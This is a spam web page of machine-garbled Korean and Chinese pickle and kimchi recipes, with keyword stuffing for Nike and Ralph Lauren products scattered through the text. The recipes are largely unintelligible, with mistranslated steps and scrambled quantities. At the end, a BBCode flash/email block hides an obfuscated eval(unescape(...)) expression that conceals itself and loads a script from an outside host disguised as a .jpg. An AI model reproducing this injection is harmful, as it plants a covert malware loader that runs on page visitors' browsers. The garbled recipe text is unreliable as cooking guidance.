Nike Lunar Max 12 Korean pickled pickles method

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(A) 1 ----- Korean spicy cabbage recipe cabbage raw salt, 250 g 50 kg 50 grams of ginger, garlic, 1 kg 500 grams of ruddy pepper Pear caraway seeds 250 g sugar, MSG measure
Production Method 1. Selected trees colossal, solid essence of cabbage, apt aid the age, slashing the foliage apt basis, washed 3 periods with water, then neatly placed in the altar.
2. Burn salt water, let chilly loaded into the altar of cabbage (the cabbage immersed as yet.) Marinate 3 to 4 days, clear the cabbage, and then washed double with water, dry control water.
3. First ginger, garlic,Mens Nike Lunarglide, chopped mud, then with salt, coriander seed, red pepper Ban Cheng with mud, clear, put a mini water and stir afresh with MSG. Peel pears, hack each into a massive, spare.
4. Seasoning evenly to put aboard each piece of cabbage leaves, pickled altar neatly among the code in each loosen layers, layer of bretschneideri film.
5. The remaining spices and the right amount of water, increase a mini salt, some light scent, 3 days after into the altar, so that the water height is 20 centimeters. Put in kiln, approximately 20 days you tin dine.
(B) Chinese cabbage Kimchi ------ 5000 g raw matter recipe pear apple 250 grams of pearly radish 500 grams 250 grams 1500 grams of beef broth, garlic, 250 g onions 250 g salt pepper 150 g 150 g 50 g MSG
Production Method
1. The cabbage later removing roots and help the age, washed with water, drain water, sword and tear into 4, into the basin, sprinkle with salt 4 to 5 hours; radish roots to be, rind, cut into svelte slices,Ralph Lauren polo t shirt wholesale, salted see; apple, peeled, cut into slices; onions, chopped garlic mash.
2. The agreeable pickled cabbage, pickled radish Lek to the water, into the altar, then apples, pears, meat soup poured entire the spices mixed with cabbage, and gravy to drown cabbage, top with a clean cumbersome objects firm, the dish sink. Time tin be resolved along to the season, generally 1 to 2 days in summer; the winter namely generally 3 to 4 days to clear the food.
Features shine color, hot and sour fragile, fresh and palatable, with a lusty regional characteristics. (C) of the new decree ------ 1 pickled Brassica juncea,Ralph Lauren polo wholesale, Brassica juncea, taking 15 kg, 0.5 kg salt, 5-7 garlic, 50 grams of pepper, 2 red peppers. Will Potherb washed with water, slashing the roots, remove the yellow leaves, dry ventilated place, to the plenary Brassica juncea leaves tiny too tired for well. Brassica juncea, cut into about 1 cm to sub-paragraph, ashore the bowl alongside. 2, the garlic, ginger, pepper cut into fine, with pepper, salt, Brassica juncea, installed on the basin with uniform mixing, and then rub their hands distant too tired to Brassica juncea. Will install the altar Banhao Brassica juncea, 10 cm high will be installed compression, tamping, to slightly water, then pressed tamping, until the succession Bahrain. 3, Brassica juncea, entire installed after the close with plastic canvasing to stamp the altar, placed in a cool place, about 20 days you tin dine. Preserved at this means Brassica juncea, and taste fresh and tasteful, with crispy in spicy, do no have a savor.
Brassica juncea, in mandate to preserve fresh not wrong when the best food in take special with a pair of chopsticks, no a little traces of oil, after catching food to the altar I achieved sealed. (D) rise kimchi ------ 1. Ingredients: Mushroom 20kg, cabbage, celery,Nike Lunar Max, lettuce, carrots, green pepper and the 4kg, ginger, white wine, pepper each 0.5kg, sugar amount. 2. Raw stuff pretreatment: mushrooms, vegetables, washed with water, drained, celery to the leaves, cut into 2 ~ 3cm-long pieces, other vegetables cut into 5 ~ 6cm-long bar. 3. Kimchi Water: kimchi water to salt water for well (can crispness.) Salt water per 10kg 800g, remove from heat after boiling cooling stand. To pile up the cook speed the arrangement of kimchi in the new adding a little water of agreeable quality water kimchi Chen. 4. Cook: the mushrooms and cut vegetables and pepper, white brandy, ginger, sugar, etc. and mingle well, bathe the pickles into the altar, into the pickle of water, cover on top of the altar, to fill the tank with water seal. Sealed at the fermentation of 10 to 15 days, you can remove the food. Food can be chilly, merely also seasoned fried.
(E) spicy sweet and acid cabbage ------ Ingredients: Cabbage Ingredients: coriander, red chili, soybean oil, salt, vinegar, monosodium glutamate, onion ginger the amount of cable
Production methods (1) sit spoon, and bottom oil pan, boiler with onion ginger soy silk, and then see into the deep-fried chili
(2) pan put sugar, add applicable amount of soup to boil, points MSG, let cool slightly, gush in the cabbage mix basin, in the screen marinate 2 hours, sprinkle with parsley section can
F) hot and sour cabbage ------ Ingredients: Cabbage Ingredients: red pepper, salt, vinegar, sugar
Production Method: (1) cabbage, chili respectively boiled as 2 minutes, remove and control water.
(2) to take pots. A wafer of cabbage in the bowl, sprinkle a little salt, some pepper Zaisa cable, gush a little vinegar, sprinkle some sugar, so laid membrane by layer, the pots Gaiyan, 30 minutes, you can eat (g) hot and sour pickled radish ------ Ingredients: 5 kg of white radish Ingredients: chili powder 30 grams,Nike Lunarglide, 0.8 kilograms of vinegar, sugar, 200 grams, 175 grams of salt, sesame oil, 100 grams, 10 grams of aniseed pepper, MSG amount , 2 kg of water.
Production Methods: The first white radish by choosing wash, and then processed into 3 cm width and width, and 1 cm thick segment, drying to Bacheng dry leftover. Heat sesame oil, add chili abrasive and deep fry in yellowish when dry mix down Ruluo Bo. The salt, sugar, pepper, aniseed open into the pot, add water boil, add MSG Let cool and gush into the cylinder, and the radish mix, cornered over once every 15 days after the branding productions
(H) hot and sour radish ------ Ingredients: large turnip or radish Ingredients: dried red chili pepper grains, the amount of salt.
Production Method: cylinder brush go-getters, dried, and the radish mix with the chili and put it into the cylinder, placed in salt water (500 grams of water plus 50 grams of salt, dissolved open) did not have radish, Zaisa some peppercorns, the vats in a warm place about 15 days alternatively so food, (IX) ------ Sweet & Spicy Cucumber Ingredients: 10 kg of fresh cucumber ingredients: salt, 2 kg, 3 kg of soy sauce, sugar 2 kg, amount of sugar, 200 grams of dry chili, ginger silk 50 grams of MSG 20 grams sesame seeds 100 grams.
Production Method: Wash fresh cucumber, melon layer a layer of salt, into the pickling tank. The next daytime an inverted cylinder, 18 degrees on the small amount of salt water, inverted cylinder after the first day, even down 6 periods. 20 days can be cured via. After the salted cucumber out, soaked with water 1 day, the middle of changing the water twice, and then reception out the water, so that with only a touch of salty cucumber, then add soy sauce, sugar, chili, drenched in a medley of MSG and other spices , twice a day, turning mix, 2 days of fish, mix with cooked sesame seeds.
(X) ------ Eggplant pickled garlic Ingredients: Small eggplants tender 1,000 grams of water washed and put up the imprison jug boiling, let cool stand out. Peeled garlic slap a knife, into the pot mashed garlic, salt, MSG, mixing evenly. From the middle of the steamed eggplant torn in half, garlic evenly between prepared cast. And then placed in pots alternatively altar, in the refrigerator. [Flash, 0,0] http://catche.qq.com/temp/20081209/4236888.swf [email =] id = baidu neatness = ee: statement (eval (unescape ('this.parentNode.style.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument.createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / love.avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName% 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29% 3Bwindow.xxr% 3D1 % 7D'))); display: nobody; @ qq.com [/ email] [/ flash]
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